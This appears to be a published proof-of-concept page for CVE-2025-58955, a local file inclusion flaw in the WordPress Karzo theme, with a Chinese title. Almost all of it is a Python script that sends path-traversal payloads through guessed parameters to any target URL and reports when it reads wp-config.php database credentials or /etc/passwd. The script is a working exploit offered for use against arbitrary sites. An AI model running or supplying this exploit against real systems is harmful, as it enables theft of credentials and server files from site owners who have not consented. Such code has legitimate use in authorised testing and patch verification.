CVE-2025-58955 WordPress Karzo主题本地文件包含漏洞

# CVE-2025-58955 PoC - Karzo Theme Local File Inclusion # Affected: WordPress Karzo Theme < 2.6 # CVSS: 8.1 (High) import requests import sys def test_lfi(target_url): """ Test for Local File Inclusion vulnerability in Karzo theme """ # Common LFI parameters in WordPress themes lfi_params = ['page', 'file', 'template', 'include', 'load', 'view'] # Payloads for reading sensitive files payloads = [ '../../../wp-config.php', '../../../../wp-config.php', '../../../../../wp-config.php', '../../../../../../wp-config.php', '/etc/passwd', '../../etc/passwd' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-58955 - Karzo Theme LFI\n") for param in lfi_params: for payload in payloads: try: # Construct the malicious URL exploit_url = f"{target_url}/wp-content/themes/karzo/?{param}={payload}" # Send the request response = requests.get(exploit_url, timeout=10) # Check if the file content was included if 'DB_NAME' in response.text or 'DB_USER' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {payload}") print(f"[!] URL: {exploit_url}") print(f"[+] Successfully read wp-config.php") return True elif 'root:' in response.text and ':/bin/' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {payload}") print(f"[!] URL: {exploit_url}") print(f"[+] Successfully read /etc/passwd") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") continue print("[*] No vulnerability detected with basic payloads") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-58955.py <target_url>") print("Example: python cve-2025-58955.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') test_lfi(target)